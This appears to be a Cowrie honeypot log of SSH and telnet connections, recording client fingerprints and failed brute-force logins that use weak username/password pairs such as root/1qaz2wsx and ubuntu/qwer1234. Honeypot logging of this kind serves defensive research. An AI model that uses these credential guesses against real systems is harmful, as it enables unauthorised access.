{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:51.409431Z","src_ip":"45.153.34.114","session":"215567c36e76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:51.669487Z","src_ip":"45.153.34.114","session":"215567c36e76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:52.765891Z","src_ip":"45.153.34.114","session":"215567c36e76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":51308,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7a3e8354b71","protocol":"telnet","message":"New connection: 74.91.213.120:51308 (159.203.135.109:23) [session: f7a3e8354b71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:54.193497Z"}
{"eventid":"cowrie.session.closed","duration":31.16505193710327,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:54.344463Z","src_ip":"74.91.213.120","session":"d21421c1b636","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.138235569000244,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:54.832881Z","src_ip":"74.91.213.120","session":"dfdf71c9e936","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":35000,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f325f87f2b8","protocol":"telnet","message":"New connection: 74.91.213.120:35000 (159.203.135.109:23) [session: 1f325f87f2b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:57.387627Z"}
{"eventid":"cowrie.session.closed","duration":31.17387294769287,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:57.980139Z","src_ip":"74.91.213.120","session":"f5870d5344b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.17224144935608,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:59.241785Z","src_ip":"74.91.213.120","session":"a1d7edf8a83a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":57776,"dst_ip":"159.203.135.109","dst_port":22,"session":"d25311bcb652","protocol":"ssh","message":"New connection: 45.153.34.114:57776 (159.203.135.109:22) [session: d25311bcb652]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:59.429449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:59.435855Z","src_ip":"45.153.34.114","session":"d25311bcb652","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:59.530703Z","src_ip":"45.153.34.114","session":"d25311bcb652","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx","message":"login attempt [root/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:59.795237Z","src_ip":"45.153.34.114","session":"d25311bcb652","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.138790607452393,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:00.179486Z","src_ip":"74.91.213.120","session":"2b4afa49f2a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":35010,"dst_ip":"159.203.135.109","dst_port":23,"session":"89bc613553ac","protocol":"telnet","message":"New connection: 74.91.213.120:35010 (159.203.135.109:23) [session: 89bc613553ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:00.421457Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:00.880497Z","src_ip":"45.153.34.114","session":"d25311bcb652","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.156871795654297,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:04.510395Z","src_ip":"74.91.213.120","session":"205119de0f96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":35020,"dst_ip":"159.203.135.109","dst_port":23,"session":"b28b875fea13","protocol":"telnet","message":"New connection: 74.91.213.120:35020 (159.203.135.109:23) [session: b28b875fea13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:05.730522Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":35022,"dst_ip":"159.203.135.109","dst_port":23,"session":"88aa2725d7c8","protocol":"telnet","message":"New connection: 74.91.213.120:35022 (159.203.135.109:23) [session: 88aa2725d7c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:06.350499Z"}
{"eventid":"cowrie.session.closed","duration":31.151097536087036,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:06.855632Z","src_ip":"74.91.213.120","session":"83f8cbdbf90d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":57786,"dst_ip":"159.203.135.109","dst_port":22,"session":"2af6c8267b03","protocol":"ssh","message":"New connection: 45.153.34.114:57786 (159.203.135.109:22) [session: 2af6c8267b03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:07.511049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:07.516489Z","src_ip":"45.153.34.114","session":"2af6c8267b03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:07.600660Z","src_ip":"45.153.34.114","session":"2af6c8267b03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test1","message":"login attempt [test1/test1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:07.873904Z","src_ip":"45.153.34.114","session":"2af6c8267b03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:09.002527Z","src_ip":"45.153.34.114","session":"2af6c8267b03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":56680,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff9534aa7afa","protocol":"ssh","message":"New connection: 103.75.199.4:56680 (159.203.135.109:22) [session: ff9534aa7afa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:11.340128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:11.345227Z","src_ip":"103.75.199.4","session":"ff9534aa7afa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:11.440864Z","src_ip":"103.75.199.4","session":"ff9534aa7afa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe@123","message":"login attempt [frappe/frappe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:11.727506Z","src_ip":"103.75.199.4","session":"ff9534aa7afa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":46552,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c10cb630749","protocol":"telnet","message":"New connection: 74.91.213.120:46552 (159.203.135.109:23) [session: 4c10cb630749]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:12.178118Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":46566,"dst_ip":"159.203.135.109","dst_port":23,"session":"94b8f60e9b9a","protocol":"telnet","message":"New connection: 74.91.213.120:46566 (159.203.135.109:23) [session: 94b8f60e9b9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:12.565649Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:12.825607Z","src_ip":"103.75.199.4","session":"ff9534aa7afa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":48560,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7eb20600135","protocol":"ssh","message":"New connection: 45.153.34.114:48560 (159.203.135.109:22) [session: d7eb20600135]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:14.978792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:14.983663Z","src_ip":"45.153.34.114","session":"d7eb20600135","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:15.072356Z","src_ip":"45.153.34.114","session":"d7eb20600135","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"system","message":"login attempt [system/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:15.347626Z","src_ip":"45.153.34.114","session":"d7eb20600135","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.177823066711426,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:15.724273Z","src_ip":"74.91.213.120","session":"cf68139313af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:16.436516Z","src_ip":"45.153.34.114","session":"d7eb20600135","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.049529790878296,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:20.101935Z","src_ip":"74.91.213.120","session":"2310313b1293","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":58390,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3a1d238d642","protocol":"ssh","message":"New connection: 45.153.34.114:58390 (159.203.135.109:22) [session: c3a1d238d642]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:22.948421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:22.953250Z","src_ip":"45.153.34.114","session":"c3a1d238d642","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:23.089801Z","src_ip":"45.153.34.114","session":"c3a1d238d642","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"123456","message":"login attempt [runner/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:23.450030Z","src_ip":"45.153.34.114","session":"c3a1d238d642","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":56560,"dst_ip":"159.203.135.109","dst_port":23,"session":"e795ea7078cf","protocol":"telnet","message":"New connection: 74.91.213.120:56560 (159.203.135.109:23) [session: e795ea7078cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:23.464874Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":33192,"dst_ip":"10.17.0.5","dst_port":22,"session":"7703c85ffa90","protocol":"ssh","message":"New connection: 194.59.206.2:33192 (10.17.0.5:22) [session: 7703c85ffa90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:24.060683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:24.075923Z","src_ip":"194.59.206.2","session":"7703c85ffa90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:24.153940Z","src_ip":"194.59.206.2","session":"7703c85ffa90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:24.329043Z","src_ip":"194.59.206.2","session":"7703c85ffa90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:24.540593Z","src_ip":"45.153.34.114","session":"c3a1d238d642","protocol":"ssh"}
